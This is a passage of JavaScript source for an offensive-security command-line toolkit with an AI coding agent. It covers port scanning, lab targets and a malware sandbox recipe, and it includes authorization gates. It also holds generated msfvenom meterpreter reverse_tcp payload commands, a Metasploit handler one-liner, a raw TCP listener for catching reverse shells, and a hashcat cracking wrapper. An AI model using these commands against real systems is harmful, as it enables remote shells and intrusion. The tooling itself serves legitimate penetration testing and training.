const port = (await ask("LPORT [4444]:")) || "4444";
console.log("");
console.log(" " + gray("linux elf ") + `msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=${ip} LPORT=${port} -f elf -o p.elf`);
console.log(" " + gray("windows exe ") + `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=${ip} LPORT=${port} -f exe -o p.exe`);
console.log(" " + gray("nc listener ") + `nc -lvnp ${port}`);
console.log(" " + gray("http server ") + `python3 -m http.server 8000`);
console.log(" " + gray("msf handler ") + `msfconsole -q -x "use exploit/multi/handler;set payload linux/x64/meterpreter/reverse_tcp;set LHOST ${ip};set LPORT ${port};run"`);
}
async function menuCheats() {
h1("Cheat sheets");
console.log(" topics: " + Object.keys(CHEATS).join(", ") + "\n");
const t = await ask("topic:");
const lines = CHEATS[t];
console.log("");
if (!lines) { console.log(" " + red("no such topic")); return; }
lines.forEach((l) => console.log(" " + cyan("$ ") + l));
}
function listTools() {
h1("Tools catalog");
TOOLS.forEach(([n, cat, inst]) => console.log(" " + bold(n.padEnd(14)) + gray(cat.padEnd(10)) + inst));
console.log("\n " + gray("configure any tool with: ") + "darknode setup <name>");
}
// Auto-configure a tool: run its install command, streaming output to the terminal.
function setupTool(name) {
return new Promise((resolve) => {
if (!name) { console.log(" " + red("usage: darknode setup <tool> e.g. darknode setup nmap")); return resolve(); }
const t = TOOLS.find((x) => x[0].toLowerCase() === String(name).toLowerCase());
if (!t) { console.log(" " + red("unknown tool. see: darknode tools")); return resolve(); }
let inst = t[2];
if (process.platform !== "win32" && inst.startsWith("sudo ") && process.getuid && process.getuid() !== 0 && process.env.DARKNODE_NO_PKEXEC !== "1") {
// prefer a graphical prompt if available, else sudo will prompt in the terminal
}
h1("Configuring " + t[0]);
console.log(" " + gray("first-time setup, this can take a few minutes...") + "\n " + gray(inst) + "\n");
const p = spawn(process.platform === "win32" ? "cmd.exe" : "/bin/bash", process.platform === "win32" ? ["/c", inst] : ["-lc", inst], { stdio: "inherit" });
p.on("close", (code) => { console.log("\n " + (code === 0 ? ok(t[0] + " is ready.") : red("setup exited with code " + code))); resolve(); });
p.on("error", (e) => { console.log(" " + red("error: " + e.message)); resolve(); });
});
}
// ---------- practice targets ----------
const PRACTICE = [
["dvwa", "DVWA", "SQLi / XSS / CSRF / command injection / file upload", "docker run --rm -it -p 4280:80 vulnerables/web-dvwa", "http://localhost:4280", "admin / password (then Setup > Create Database)"],
["juice", "OWASP Juice Shop", "OWASP Top 10 · modern JS · CTF-style", "docker run --rm -p 3000:3000 bkimminich/juice-shop", "http://localhost:3000", "register your own account"],
["webgoat", "OWASP WebGoat", "guided lessons · Java", "docker run --rm -p 8080:8080 -p 9090:9090 webgoat/webgoat", "http://localhost:8080/WebGoat", "register on first run"],
["bwapp", "bWAPP", "100+ bugs · PHP", "docker run --rm -p 8081:80 raesene/bwapp", "http://localhost:8081/install.php", "bee / bug (run /install.php once)"],
["mutillidae", "Mutillidae II (NOWASP)", "OWASP Top 10 · hints", "docker run --rm -p 8082:80 citizenstig/nowasp", "http://localhost:8082", "no login required"],
];
function labList() {
h1("Practice targets");
console.log(" " + gray("deliberately vulnerable apps — run locally with Docker. use only on systems you own.") + "\n");
PRACTICE.forEach(([id, name, focus, cmd, url, creds]) => {
console.log(" " + bold(cyan(id.padEnd(12))) + name);
console.log(" " + " ".repeat(12) + gray(focus));
console.log(" " + " ".repeat(12) + cmd);
console.log(" " + " ".repeat(12) + gray("url ") + url + " " + gray("login ") + creds + "\n");
});
console.log(" " + gray("tip: ") + "darknode lab <id>" + gray(" prints one target's launch command"));
}
function labOne(id) {
const t = PRACTICE.find((x) => x[0] === String(id).toLowerCase());
if (!t) { console.log(" " + red("unknown target — try: " + PRACTICE.map((x) => x[0]).join(", "))); return; }
h1(t[1]);
console.log(" focus " + t[2]);
console.log(" launch " + bold(t[3]));
console.log(" url " + t[4]);
console.log(" login " + t[5]);
}
// ---------- security lab: isolated targets + malware-detonation sandbox ----------
// Docker targets bind to 127.0.0.1 only (never exposed to the LAN). Metasploitable
// is a VM, guided into a host-only, no-internet network. The sandbox is an air-
// gapped detonation recipe for samples YOU supply — nothing malicious ships here.
const LAB_TARGETS = {
"metasploitable": { kind: "vm", name: "Metasploitable 2", note: "the classic deliberately-vulnerable Linux VM (Rapid7)",
url: "https://sourceforge.net/projects/metasploitable/files/Metasploitable2/" },
"juice-shop": { kind: "docker", name: "OWASP Juice Shop", image: "bkimminich/juice-shop", port: 3000, hostPort: 3000, note: "modern vulnerable web app" },
"dvwa": { kind: "docker", name: "DVWA", image: "vulnerables/web-dvwa", port: 80, hostPort: 8081, note: "Damn Vulnerable Web App" },
"webgoat": { kind: "docker", name: "WebGoat", image: "webgoat/webgoat", port: 8080, hostPort: 8082, note: "OWASP training app" },
};
async function labCmd(rest) {
const sub = (rest[0] || "").toLowerCase();
if (!sub) return labList();
if (sub === "doctor") return labDoctor();
if (sub === "up") return labUp(rest[1], rest.slice(2));
if (sub === "sandbox") return labSandbox();
if (sub === "down") return labDown(rest[1]);
if (PRACTICE.find((x) => x[0] === sub)) return labOne(sub);
if (LAB_TARGETS[sub]) return labUp(sub, rest.slice(1));
console.log(" " + red("unknown lab command") + gray(" — darknode lab [doctor | up <target> | sandbox | down] · practice ids: " + PRACTICE.map((x) => x[0]).join(", ")));
}
function labDoctor() {
h1("Lab environment");
const rows = [["docker", "Docker", "quickest for web targets (juice-shop, dvwa, webgoat)"],
["vboxmanage", "VirtualBox", "full VMs + host-only isolated networks + snapshots"],
["qemu-system-x86_64", "QEMU/KVM", "full VMs (Linux virtualization)"],
["vagrant", "Vagrant", "declarative VM provisioning + snapshots"]];
for (const [bin, name, note] of rows) { const ok = hasBin(bin) || hasBin(bin.toUpperCase()); console.log(" " + (ok ? green("✓") : gray("·")) + " " + bold(name.padEnd(12)) + (ok ? green("found") : gray("not found")) + gray(" " + note)); }
const anyVM = hasBin("vboxmanage") || hasBin("VBoxManage") || hasBin("qemu-system-x86_64");
const anyDocker = hasBin("docker");
console.log("");
if (anyDocker) console.log(" " + green("→ ") + bold("darknode lab up juice-shop") + gray(" isolated web target (docker, 127.0.0.1 only)"));
if (anyVM) console.log(" " + green("→ ") + bold("darknode lab up metasploitable") + gray(" isolated VM target (host-only network)"));
if (!anyVM && !anyDocker) console.log(" " + yellow("no hypervisor or Docker found") + gray(" — install Docker (light) or VirtualBox (full VMs), then re-run"));
console.log(" " + green("→ ") + bold("darknode lab sandbox") + gray(" air-gapped malware-detonation recipe"));
}
function labUp(target, opts) {
opts = opts || [];
const t = LAB_TARGETS[String(target || "").toLowerCase()];
if (!t) { console.log(" " + red("unknown target — ") + gray("choose: " + Object.keys(LAB_TARGETS).join(", "))); return; }
const run = opts.includes("--run");
h1(t.name + gray(" — " + t.note));
if (t.kind === "docker") {
const cmd = "docker run --rm -d --name nexus-lab-" + target + " -p 127.0.0.1:" + t.hostPort + ":" + t.port + " " + t.image;
console.log(" " + gray("isolated launch (bound to loopback — not reachable from your LAN):"));
console.log(" " + bold(cmd));
console.log(" " + gray("then attack ") + cyan("http://127.0.0.1:" + t.hostPort) + gray(" · teardown: ") + "darknode lab down " + target);
if (run) {
if (!hasBin("docker")) { console.log("\n " + red("--run: docker not found") + gray(" — install Docker or run the command above yourself")); return; }
console.log("\n " + gray("--run: starting…"));
const r = spawn("docker", ["run", "--rm", "-d", "--name", "nexus-lab-" + target, "-p", "127.0.0.1:" + t.hostPort + ":" + t.port, t.image], { stdio: "inherit" });
r.on("close", (c) => console.log(c ? red(" docker exited " + c) : green(" up → http://127.0.0.1:" + t.hostPort)));
} else {
console.log(" " + gray("add ") + "--run" + gray(" to launch it now (needs Docker)."));
}
return;
}
// VM target (Metasploitable): guide an isolated, offline import. Automated VM
// import is host-specific, so print exact steps rather than guess-executing.
console.log(" " + yellow("VM target — set up in an ISOLATED, host-only network (no internet route):"));
console.log(" 1. Download the official image: " + cyan(t.url));
console.log(" 2. VirtualBox → Import, then set the VM's network to " + bold("Host-only Adapter") + gray(" (NOT NAT/Bridged — keeps it off the internet)"));
console.log(" 3. Take a snapshot named " + bold("clean") + gray(" so you can revert after each session"));
console.log(" 4. Boot it; default login " + bold("msfadmin / msfadmin") + gray(" — attack its host-only IP from your machine"));
console.log(" " + gray("Metasploit pairs with this: ") + "msfconsole" + gray(" · never bridge this VM to a real network."));
}
function labSandbox() {
h1("Malware-detonation sandbox" + gray(" — air-gapped; you supply the samples"));
console.log(" " + red("Safety model: ") + "isolated host-only network, a FAKE internet, disposable snapshots. Nothing malicious ships with Nexus — you bring your own sample and detonate it here, never on a real system or network.\n");
const stack = [
["Isolation", "VirtualBox/QEMU host-only net (no NAT/bridge) + a snapshot you revert after every run"],
["Fake internet", "INetSim or FakeNet-NG — malware 'phones home' to a simulated server, never the real net"],
["Analyst VMs", "REMnux (Linux) + FLARE-VM (Windows) — the tooling workstations"],
["Orchestration", "CAPEv2 or Cuckoo3 — submit a sample, auto-detonate in a throwaway VM, get a behavior report"],
["Static/forensics", "YARA (classify) · CAPA (capabilities) · Volatility (memory) · CyberChef (offline)"],
];
const w = Math.max.apply(null, stack.map((s) => s[0].length));
stack.forEach(([k, v]) => console.log(" " + bold(cyan(k.padEnd(w))) + " " + v));
console.log("\n " + gray("checklist: ") + "darknode lab doctor" + gray(" · vulnerable practice targets: ") + "darknode lab");
console.log(" " + gray("recommended flow: import REMnux → snapshot 'clean' → start INetSim → drop sample → detonate → revert snapshot."));
}
function labDown(target) {
target = String(target || "").toLowerCase(); // match labUp, else teardown silently no-ops
h1("Lab teardown");
if (target && LAB_TARGETS[target] && LAB_TARGETS[target].kind === "docker") {
const cmd = "docker rm -f nexus-lab-" + target;
console.log(" " + bold(cmd));
if (hasBin("docker")) { const r = spawn("docker", ["rm", "-f", "nexus-lab-" + target], { stdio: "inherit" }); r.on("close", (c) => console.log(c ? gray(" (nothing to remove)") : green(" removed"))); }
return;
}
console.log(" docker targets: " + bold("docker rm -f nexus-lab-<target>") + gray(" (or: docker ps → docker rm -f <id>)"));
console.log(" VM targets: power off, then restore the " + bold("clean") + " snapshot to wipe any changes");
}
// ---------- payload library ----------
const { PAYLOADS_CLI } = require("./lib/toolkit/payloads"); // attack-payload library (lib/payloads.js)
function printPayloads(cls) {
if (cls && PAYLOADS_CLI[cls]) { h1("Payloads · " + cls); PAYLOADS_CLI[cls].forEach((p) => console.log(" " + p)); return; }
if (cls) { console.log(" " + red("unknown class — try: " + Object.keys(PAYLOADS_CLI).join(", "))); return; }
h1("Payload library");
console.log(" " + gray("classes: " + Object.keys(PAYLOADS_CLI).join(", ")) + "\n");
Object.entries(PAYLOADS_CLI).forEach(([k, arr]) => { console.log(" " + bold(cyan(k))); arr.forEach((p) => console.log(" " + p)); console.log(""); });
console.log(" " + gray("for authorized testing only."));
}
// ---------- utilities: password gen, public IP, HTTP status ----------
async function myIp() {
const ctrl = new AbortController(); const t = setTimeout(() => ctrl.abort(), 8000);
try { const r = await fetch("https://api.ipify.org?format=json", { signal: ctrl.signal }); const d = await r.json(); return d.ip || "(unknown)"; }
catch (e) { return "error: " + (e.name === "AbortError" ? "timed out" : e.message); }
finally { clearTimeout(t); }
}
async function mainMenu() {
banner();
const items = [
["a", bold("Nexus — AI coding agent") + gray(" (chat with cloud or free local AI)"), async () => aiCoder("")],
["1", "Port scanner", menuScan],
["2", "DNS lookup", menuDns],
["3", "WHOIS", menuWhois],
["4", "HTTP security headers", menuHeaders],
["5", "TLS certificate", menuCert],
["6", "Subdomains (crt.sh)", menuSubs],
["v", "CVE search (NVD)", async () => { h1("CVE search"); const q = await ask("keyword / CVE-id:"); console.log(""); await cveSearch(q); }],
["f", "Content fuzzer", async () => { h1("Content fuzzer"); const u = await ask("url:"); console.log(""); await fuzz(u); }],
["7", "Reverse shell generator", menuShell],
["8", "Encode / decode / hash", menuEncode],
["9", "Payload builders", menuPayloads],
["p", "Payload library", async () => { const c = await ask("class (blank = all):"); console.log(""); printPayloads(c || undefined); }],
["l", "Practice targets", async () => labList()],
["x", "Password generator", async () => { const n = await ask("length (blank = 20):"); h1("Generated password"); console.log(" " + bold(genPass(n))); }],
["i", "My public IP", async () => { h1("Public IP"); console.log(" " + await myIp()); }],
["g", "GitHub (clone / push)", menuGit],
["c", "Cheat sheets", menuCheats],
["t", "Tools catalog", async () => listTools()],
["0", "Exit", null],
];
let firstPass = true;
while (true) {
console.log("");
if (firstPass) { console.log(" " + gray("New here? Press ") + cyan("[a]") + gray(" for the AI coder, or ") + cyan("[1]") + gray(" to scan a host.")); firstPass = false; }
items.forEach(([k, label]) => console.log(" " + cyan("[" + k + "]") + " " + label));
const choice = await ask("\n select:");
const item = items.find((i) => i[0] === choice);
if (!item) { console.log(" " + red("invalid choice")); continue; }
if (item[0] === "0") { console.log("\n " + gray("stay sharp.") + "\n"); process.exit(0); }
try { await item[2](); } catch (e) { console.log(" " + red("error: " + e.message)); }
await ask("\n " + gray("[enter] menu"));
console.clear();
banner();
}
}
// ---------- extra utilities ----------
async function ipInfo(ip) {
const ctrl = new AbortController(); const t = setTimeout(() => ctrl.abort(), 8000);
try {
const r = await fetch("http://ip-api.com/json/" + encodeURIComponent(ip || ""), { signal: ctrl.signal });
const d = await r.json();
if (d.status !== "success") { console.log(red(d.message || "lookup failed")); return; }
h1("IP " + d.query);
[["Location", [d.city, d.regionName, d.country].filter(Boolean).join(", ")], ["ISP", d.isp], ["Org", d.org], ["AS", d.as], ["Coords", d.lat + "," + d.lon], ["Timezone", d.timezone]].forEach(([k, v]) => v && console.log(" " + k.padEnd(10) + cyan(v)));
} catch (e) { console.log(red("error: " + (e.name === "AbortError" ? "timed out" : e.message))); }
finally { clearTimeout(t); }
}
function fileHash(f) {
try { const buf = require("fs").readFileSync(f); h1("Hashes of " + f); ["md5", "sha1", "sha256", "sha512"].forEach((a) => console.log(" " + a.padEnd(8) + cyan(crypto.createHash(a).update(buf).digest("hex")))); }
catch (e) { console.log(red("error: " + e.message)); }
}
// Headless Nexus: a loopback-only, token-gated JSON service so the app or any
// script can drive Nexus programmatically. POST /run {goal} runs one headless
// turn (via the real `nexus --print` path in a child, so engine behavior is
// identical) and returns its output. Same safety shape as the honeypot bridge:
// 127.0.0.1 only + Bearer token. `darknode nexus serve [port]`.
async function nexusServe(args, ctx) {
const crypto = require("crypto");
const port = parseInt((args || []).find((a) => /^\d+$/.test(a)) || process.env.DARKNODE_SERVE_PORT || "", 10) || 8765;
const token = process.env.DARKNODE_SERVE_TOKEN || crypto.randomBytes(24).toString("base64url");
const engineDefault = (ctx && ctx.engine) || "claude";
const srv = http.createServer((req, res) => {
const send = (code, obj) => { const b = JSON.stringify(obj); res.writeHead(code, { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(b) }); res.end(b); };
const ra = req.socket.remoteAddress || "";
if (!/^(127\.0\.0\.1|::1|::ffff:127\.0\.0\.1)$/.test(ra)) return send(403, { error: "loopback only" }); // never expose to the network
const url = req.url.split("?")[0];
if (req.method === "GET" && url === "/health") return send(200, { ok: true, engine: engineDefault, version: VERSION });
{ const _got = Buffer.from(req.headers["authorization"] || ""), _exp = Buffer.from("Bearer " + token); if (_got.length !== _exp.length || !crypto.timingSafeEqual(_got, _exp)) return send(401, { error: "unauthorized" }); }
if (req.method === "POST" && url === "/run") {
let body = ""; req.on("data", (d) => { body += d; if (body.length > 1e6) req.destroy(); });
req.on("end", () => {
let j = {}; try { j = JSON.parse(body || "{}"); } catch (_) { return send(400, { error: "bad json" }); }
const goal = String(j.goal || j.task || "").trim();
if (!goal) return send(400, { error: "missing 'goal'" });
const eng = String(j.engine || engineDefault);
const child = _cp.spawn(process.execPath, [__filename, "nexus", "--print", "-e", eng, goal], { cwd: process.cwd(), env: Object.assign({}, process.env, { NO_COLOR: "1" }) });
let out = "", err = ""; child.stdout.on("data", (b) => out += b); child.stderr.on("data", (b) => err += b);
child.on("close", (code) => send(code ? 500 : 200, { ok: !code, engine: eng, output: out.trim(), error: code ? (err.trim() || "nexus exited " + code) : undefined }));
child.on("error", (e) => send(500, { error: String((e && e.message) || e) }));
});
return;
}
send(404, { error: "not found — GET /health · POST /run {goal}" });
});
srv.on("error", (e) => { console.log(red(" serve failed: " + (e && e.message || e))); process.exit(1); });
srv.listen(port, "127.0.0.1", () => {
h1("Nexus headless service");
console.log(" " + green("listening ") + cyan("http://127.0.0.1:" + port) + gray(" (loopback only)"));
console.log(" engine " + bold(engineDefault));
console.log(" token " + bold(token) + gray(" (send as: Authorization: Bearer <token>)"));
console.log("");
console.log(" " + gray("health ") + "curl http://127.0.0.1:" + port + "/health");
console.log(" " + gray("run ") + "curl -s http://127.0.0.1:" + port + "/run -H 'Authorization: Bearer " + token + "' -d '{\"goal\":\"list the files here\"}'");
console.log("\n " + gray("Ctrl-C to stop"));
});
await new Promise(() => {});
}
function serveDir(port, dir) {
port = parseInt(port, 10) || 8000; dir = dir || ".";
const fs = require("fs"), path = require("path");
const srv = http.createServer((req, res) => {
let p = path.join(dir, decodeURIComponent(req.url.split("?")[0]));
const _root = path.resolve(dir), _rp = path.resolve(p);
if (_rp !== _root && !_rp.startsWith(_root + path.sep)) { res.writeHead(403); return res.end("forbidden"); }
fs.stat(p, (e, st) => {
if (e) { res.writeHead(404); return res.end("not found"); }
if (st.isDirectory()) { const items = fs.readdirSync(p); res.writeHead(200, { "Content-Type": "text/html" }); return res.end(items.map((i) => `<a href="${req.url.replace(/\/$/, "")}/${i}">${i}</a>`).join("<br>")); }
console.log(" " + green("GET ") + req.url + gray(" " + (req.socket.remoteAddress || "")));
res.writeHead(200); fs.createReadStream(p).pipe(res);
});
});
srv.listen(port, () => { h1("HTTP file server"); console.log(" serving " + bold(path.resolve(dir)) + " on " + cyan("http://0.0.0.0:" + port)); console.log(" " + gray("Ctrl-C to stop") + "\n"); });
}
function listen(port) {
port = parseInt(port, 10) || 4444;
h1("Listener on :" + port);
console.log(" " + gray("waiting for a connection (catch a reverse shell)... Ctrl-C to quit") + "\n");
const srv = net.createServer((sock) => {
console.log(" " + green("connection from ") + (sock.remoteAddress || "") + ":" + sock.remotePort + "\n");
process.stdin.setRawMode && process.stdin.setRawMode(true); process.stdin.resume();
sock.pipe(process.stdout); process.stdin.pipe(sock);
sock.on("close", () => { console.log("\n " + gray("connection closed")); process.exit(0); });
sock.on("error", () => {});
});
srv.listen(port);
}
// ---------- one-shot CLI ----------
// Self-update: if the CLI is a git checkout, fetch origin, show what's new, and
// fast-forward (running `npm install` when deps changed). Returns a plain string
// for both the `update` verb and the TUI `/update` command. { apply:false } only checks.
const { semverGt, autoUpdateMode, shouldCheck } = require("./lib/nexus/update");
function nexusUpdate(opts) {
const apply = !!(opts && opts.apply), silent = !!(opts && opts.silent);
// silent (background) mode stays quiet when there is nothing worth interrupting the user for.
const hush = (msg) => (silent ? "" : msg);
const cp = require("child_process"), fs = require("fs"), path = require("path");
const dir = __dirname;
const run = (c, a) => cp.spawnSync(c, a, { cwd: dir, encoding: "utf8", timeout: 120000 });
if (!fs.existsSync(path.join(dir, ".git"))) {
// installed from npm (global) — compare against the registry and, on apply, reinstall.
if (!hasBin("npm")) return hush("installed at " + dir + "\nnot a git checkout and npm not found — reinstall to update.");
const v = run("npm", ["view", "darknode-cli", "version"]);
const latest = (v.stdout || "").trim();
if (v.status !== 0 || !latest) return hush("update check failed (npm view): " + (((v.stderr || "") + (v.error ? v.error.message : "")).trim().split("\n").slice(-1)[0] || "no output"));
if (!semverGt(latest, VERSION)) return hush("up to date — v" + VERSION + " is the latest (npm).");
const L = ["update available: v" + VERSION + " → v" + latest + " (npm)"];
if (!apply) { L.push("run " + cyan("darknode update") + " to install (npm i -g darknode-cli@latest)."); return L.join("\n"); }
const ni = cp.spawnSync("npm", ["install", "-g", "darknode-cli@latest", "--no-audit", "--no-fund"], { encoding: "utf8", timeout: 600000 });
if (ni.status !== 0) { L.push("auto-update failed (a global npm install may need elevated permissions): " + (((ni.stderr || "") + (ni.error ? ni.error.message : "")).trim().split("\n").slice(-2).join(" ") || "npm error") + "\n install manually: npm install -g darknode-cli@latest"); return L.join("\n"); }
L.push(green("updated") + " to v" + latest + " — restart Nexus to load it."); return L.join("\n");
}
if (!hasBin("git")) return hush("git not found — install git to self-update, or reinstall the CLI.");
const f = run("git", ["fetch", "--quiet", "origin"]);
if (f.status !== 0) return hush("update check failed: " + (((f.stderr || "") + (f.error ? f.error.message : "")).trim() || "git fetch error"));
const local = (run("git", ["rev-parse", "HEAD"]).stdout || "").trim();
let remote = (run("git", ["rev-parse", "--verify", "-q", "@{u}"]).stdout || "").trim();
if (!remote) remote = (run("git", ["rev-parse", "--verify", "-q", "origin/main"]).stdout || "").trim();
if (!remote || local === remote) return hush("up to date — v" + VERSION + " is the latest (" + dir + ").");
const behind = run("git", ["rev-list", "--count", "HEAD.." + remote]).stdout.trim() || "?";
if (behind === "0") return hush("up to date — v" + VERSION + " is the latest (" + dir + ")."); // local is level with or ahead of the remote
const log = run("git", ["log", "--oneline", "-6", "HEAD.." + remote]).stdout.trim();
const L = [behind + " update(s) available for v" + VERSION + ":"];
if (log) L.push(log.split("\n").map((l) => " " + l).join("\n"));
if (!apply) { L.push("run " + cyan("darknode update") + " (or /update apply in the TUI) to install."); return L.join("\n"); }
const dirty = run("git", ["status", "--porcelain"]).stdout.trim();
// in silent/background mode, a dirty checkout is the user's own WIP — surface that an update
// exists (so /update still works) but never nag every launch about their local changes.
if (dirty) { L.push(silent ? "(local changes in the install dir block auto-apply; run /update after committing)" : "can't auto-update — you have local changes in " + dir + ". Commit or stash them first."); return L.join("\n"); }
const pull = run("git", ["pull", "--ff-only", "--quiet"]);
if (pull.status !== 0) { L.push("update failed: " + (((pull.stderr || "") + (pull.error ? pull.error.message : "")).trim() || "git pull error")); return L.join("\n"); }
const changed = (run("git", ["diff", "--name-only", local, "HEAD"]).stdout) || "";
if (/package(-lock)?\.json/.test(changed) && hasBin("npm")) { const ni = cp.spawnSync("npm", ["install", "--silent", "--no-audit", "--no-fund"], { cwd: dir, encoding: "utf8", timeout: 600000 }); if (ni.status !== 0) L.push("note: npm install after update reported an issue — run `npm install` in " + dir); }
let newV = VERSION; try { const m = fs.readFileSync(path.join(dir, "darknode.js"), "utf8").match(/const VERSION = "([^"]+)"/); if (m) newV = m[1]; } catch (_) {}
L.push(green("updated") + " v" + VERSION + " → v" + newV + " — restart Nexus (" + cyan("/exit") + ", then " + cyan("darknode nexus") + ") to load it.");
return L.join("\n");
}
// Engagement mode (DARKNODE_ENGAGEMENT=<id>): only gated tools run, each behind the
// authorization & scope gate (lib/governance/engagement-gate.js). Allow-list, fail closed.
async function cli(args) {
const eng = process.env.DARKNODE_ENGAGEMENT, [cmd, ...rest] = args;
if (cmd === "authz") { process.exitCode = await require("./lib/governance/authz-cli").authzCommand(rest); return; }
if (!eng) return cliRun(args);
const G = require("./lib/governance/engagement-gate");
const deny = (e) => { console.error(" " + red(e.message)); process.exitCode = 1; };
try {
if (G.TOOLS[cmd]) {
if (G.TOOLS[cmd].bin) { const r = await G.runExternal(eng, cmd, rest); process.exitCode = r.code; return; } // nmap / nuclei: the gate spawns the binary itself
return await G.guard(eng, cmd, rest, () => cliRun(args, { filter: (hosts) => G.filterInScope(eng, "scan", hosts) }));
}
if (CMD_MAP[cmd] || G.OFFLINE_COMMANDS.has(cmd)) return cliRun(args); // offline helpers: no target is touched
const d = G.authorize({ engagement: eng, tool: cmd || "", argv: rest }); // unknown command: audited deny
throw new G.GateDenied(d.allow ? { code: "GATE_ERROR", reason: "unexpected allow for ungated command" } : d);
} catch (e) { if (e instanceof G.GateDenied) return deny(e); throw e; }
}
async function cliRun(args, gate) {
let [cmd, ...rest] = args;
// NX-002 default posture: outside engagement mode, active-interaction commands
// need a local/private target or explicit authorization (--authorized or
// DARKNODE_AUTHORIZED=1). Engagement mode has its own stronger signed gate.
const _authorized = rest.includes("--authorized") || process.env.DARKNODE_AUTHORIZED === "1";
if (_authorized) rest = rest.filter((a) => a !== "--authorized");
if (!process.env.DARKNODE_ENGAGEMENT) {
const DG = require("./lib/governance/default-guard");
if (DG.ACTIVE.has(cmd)) {
const _target = rest.find((a) => a && a[0] !== "-") || rest[0];
const _g = DG.guardActive(cmd, _target, { authorized: _authorized });
if (!_g.allow) { console.error(" " + red("refused: ") + _g.reason); process.exitCode = 2; return; }
}
}
if (CMD_MAP[cmd]) { console.log(CMD_MAP[cmd].run({ rest, c: { red, green, yellow, cyan, gray, bold } })); }
else if (cmd === "scan") { const host = rest[0]; if (!host) return usage(); await scan(host, parsePorts(rest[1])); }
else if (cmd === "dns") { const recs = await dnsLookup(rest[0] || ""); recs.forEach(([k, v]) => console.log(k.padEnd(6) + v)); }
else if (cmd === "whois") { console.log(await whois(rest[0] || "")); }
else if (cmd === "headers") { const r = await headers(rest[0] || ""); if (r.err) { console.log(r.err); return; } console.log(r.status + " server:" + r.server); SEC.forEach(([k, label]) => console.log((r.h[k] !== undefined ? "[+] " : "[-] ") + label)); }
else if (cmd === "cert") { const c = await certInspect(rest[0] || ""); if (!c.ok) { console.log(c.error); return; } console.log("Protocol " + c.protocol + " " + c.cipher); console.log("Subject " + c.subject); console.log("Issuer " + c.issuer); console.log("Valid " + c.valid_from + " -> " + c.valid_to + (c.daysLeft != null ? " (" + c.daysLeft + "d left)" : "")); console.log("SAN " + c.san); console.log("SHA-256 " + c.fp); }
else if (cmd === "subs") { const r = await subs(rest[0] || ""); if (r.err) { console.log(r.err); return; } r.forEach((s) => console.log(s)); }
else if (cmd === "nmap") { const host = rest[0]; if (!host) return usage(); if (hasBin("nmap")) await runTool("nmap", rest.length > 1 ? rest : ["-T4", "-F", host]); else { console.log(yellow("nmap not installed — using Darknode's native scanner instead.")); await scan(host, parsePorts(rest[1])); } }
else if (cmd === "nuclei") { const t = rest[0]; if (!t) return usage(); if (!hasBin("nuclei")) { console.log(red("nuclei not installed — get it: https://github.com/projectdiscovery/nuclei (go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest)")); return; } await runTool("nuclei", ["-u", t, ...rest.slice(1)]); }
else if (cmd === "hashcat") { if (!hasBin("hashcat")) { console.log(red("hashcat not installed — apt install hashcat / brew install hashcat")); return; } const hf = rest[0], mode = rest[1]; if (!hf || !mode) { console.log("usage: darknode hashcat <hashfile> <mode> [wordlist]\n common modes: 0 MD5 · 100 SHA1 · 1400 SHA256 · 1700 SHA512 · 1800 sha512crypt · 3200 bcrypt · 1000 NTLM · 5600 NetNTLMv2 · 22000 WPA\n straight/dictionary attack against the wordlist (rockyou by default)"); return; } await runTool("hashcat", ["-m", mode, "-a", "0", hf, rest[2] || "/usr/share/wordlists/rockyou.txt"]); }
else if (cmd === "subrecon") { if (!rest[0]) return usage(); await subrecon(rest[0], gate && gate.filter); }
else if (cmd === "cve") await cveSearch(rest.join(" "));
else if (cmd === "fuzz") await fuzz(rest[0], rest[1]);
else if (cmd === "git") {
const sub = rest[0];
if (sub === "clone") await gitClone(rest[1] || "");
else if (sub === "push") await gitPush(rest.slice(1).join(" "));
else if (sub === "pull") await gitPull();
else if (sub === "status") await gitStatus();
else if (sub === "repos") await ghReposList();
else if (sub === "new") await ghNewRepo(rest[1]);
else if (sub === "branch") await gitBranches();
else if (sub === "checkout") await gitCheckout(rest[1]);
else if (sub === "log") await gitLog();
else if (sub === "diff") await gitDiff(rest[1]);
else if (sub === "issues") await ghIssues(rest[1], "issues");
else if (sub === "prs") await ghIssues(rest[1], "pulls");
else if (sub === "issue") await ghNewIssue(rest[1], rest[2], rest.slice(3).join(" "));
else if (sub === "pr") await ghNewPR(rest[1], rest[2]);
else if (sub === "comment") await ghComment(rest[1], rest[2], rest.slice(3).join(" "));
else if (sub === "gists") await ghGists();
else if (sub === "gist") await ghNewGist(rest[1], rest.slice(2).join(" "));
else console.log("git clone|push|pull|status|log|diff|branch|checkout|repos|new|issues|prs|issue|pr|comment|gists|gist (token: DARKNODE_GH_TOKEN)");
}
else if (cmd === "totp") { const secret = rest.join(" ").replace(/\s+/g, ""); const code = totp(secret); if (!code) { console.log(red("usage: darknode totp <base32-secret> — generate a TOTP 2FA code")); } else { console.log(bold(cyan(code))); const left = secondsRemaining(30); console.log(gray(" valid " + left + "s" + (left <= 5 ? " (expiring — a new code is imminent)" : ""))); } }
else if (cmd === "hash") console.log(hashes(rest.join(" ")));
else if (cmd === "lab") { await labCmd(rest); }
else if (cmd === "update") {
const check = rest.includes("--check") || rest.includes("-n");
if (rest.includes("--auto")) { const s = nexusUpdate({ apply: !check, silent: true }); if (s) process.stdout.write(s + "\n"); return; } // quiet mode for the background auto-updater: prints only when there is something to say
banner(); h1("Update Nexus / Darknode CLI"); console.log(" installed " + gray(__dirname) + "\n version " + cyan("v" + VERSION) + "\n"); console.log(" " + nexusUpdate({ apply: !check }).split("\n").join("\n ") + "\n");
}
else if (cmd === "payloads") printPayloads(rest[0]);
else if (cmd === "genpass") console.log(genPass(rest[0]));
else if (cmd === "myip") console.log(await myIp());
else if (cmd === "ipinfo") await ipInfo(rest[0] || "");
else if (cmd === "hashfile") fileHash(rest[0]);
else if (cmd === "api") {
const sub = (rest[0] || "").toLowerCase();
if (sub === "start") {
const { createAPIServer } = require("./lib/cli/api-server");
const portArg = rest.indexOf("--port"); const apiPort = portArg >= 0 ? parseInt(rest[portArg + 1], 10) || 8080 : 8080;
const apiToken = process.env.DARKNODE_API_TOKEN || null;
const { srv, port: p, token: t } = createAPIServer({ port: apiPort, token: apiToken });
srv.listen(apiPort, "0.0.0.0", () => {
h1("Darknode API Server"); console.log(" " + green("listening ") + cyan("http://0.0.0.0:" + apiPort));
